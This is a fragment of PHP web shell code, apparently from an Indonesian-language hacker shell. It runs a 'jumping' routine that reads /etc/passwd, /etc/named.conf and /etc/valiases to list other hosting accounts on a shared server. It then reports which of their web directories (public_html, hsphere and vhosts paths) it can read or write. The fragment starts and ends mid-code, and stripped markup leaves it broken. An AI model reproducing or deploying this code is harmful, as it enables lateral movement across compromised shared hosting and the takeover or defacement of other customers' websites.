Can't read /etc/passwd

"; if(preg_match("/hsphere/", $dir)) { $urls = explode("\r\n", $_POST['url']); if(isset($_POST['jump'])) { echo "

";
            foreach($urls as $url) {
                $url = str_replace(array("http://","www."), "", strtolower($url));
                $etc = "/etc/passwd";
                $f = fopen($etc,"r");
                while($gets = fgets($f)) {
                    $pecah = explode(":", $gets);
                    $user = $pecah[0];
                    $dir_user = "/hsphere/local/home/$user";
                    if(is_dir($dir_user) === true) {
                        $url_user = $dir_user."/".$url;
                        if(is_readable($url_user)) {
                            $i++;
                            $jrw = "[R] $url_user";
                            if(is_writable($url_user)) {
                                $jrw = "[RW] $url_user";
                            }
                            echo $jrw."
";
                        }
                    }
                }
            }
        if($i == 0) {
        } else {
            echo "
Total ada ".$i." Kamar di ".$ip;
        }
        echo "

"; } else { echo '

List Domains:
'; $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r"); while($getss = fgets($fp)) { echo $getss; } echo '
'; } } elseif(preg_match("/vhosts/", $dir)) { $urls = explode("\r\n", $_POST['url']); if(isset($_POST['jump'])) { echo "

";
            foreach($urls as $url) {
                $web_vh = "/var/www/vhosts/$url/httpdocs";
                if(is_dir($web_vh) === true) {
                    if(is_readable($web_vh)) {
                        $i++;
                        $jrw = "[R] $web_vh";
                        if(is_writable($web_vh)) {
                            $jrw = "[RW] $web_vh";
                        }
                        echo $jrw."
";
                    }
                }
            }
        if($i == 0) {
        } else {
            echo "
Total ada ".$i." Kamar di ".$ip;
        }
        echo "

"; } else { echo '

List Domains:
'; bing("ip:$ip"); echo '
'; } } else { echo "

";
        $etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd");
        while($passwd = fgets($etc)) {
            if($passwd == '' || !$etc) {
                echo "Can't read /etc/passwd";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                foreach($user_jumping[1] as $user_idx_jump) {
                    $user_jumping_dir = "/home/$user_idx_jump/public_html";
                    if(is_readable($user_jumping_dir)) {
                        $i++;
                        $jrw = "[R] $user_jumping_dir";
                        if(is_writable($user_jumping_dir)) {
                            $jrw = "[RW] $user_jumping_dir";
                        }
                        echo $jrw;
                        if(function_exists('posix_getpwuid')) {
                            $domain_jump = file_get_contents("/etc/named.conf");   
                            if($domain_jump == '') {
                                echo " => ( gabisa ambil nama domain nya )
";
                            } else {
                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                foreach($domains_jump[1] as $dj) {
                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                                    $user_jumping_url = $user_jumping_url['name'];
                                    if($user_jumping_url == $user_idx_jump) {
                                        echo " => ( $dj )
";
                                        break;
                                    }
                                }
                            }
                        } else {
                            echo "
";
                        }
                    }
                }
            }
        }
        if($i == 0) {
        } else {
            echo "
Total ada ".$i." Kamar di ".$ip;
        }
        echo "

"; } echo "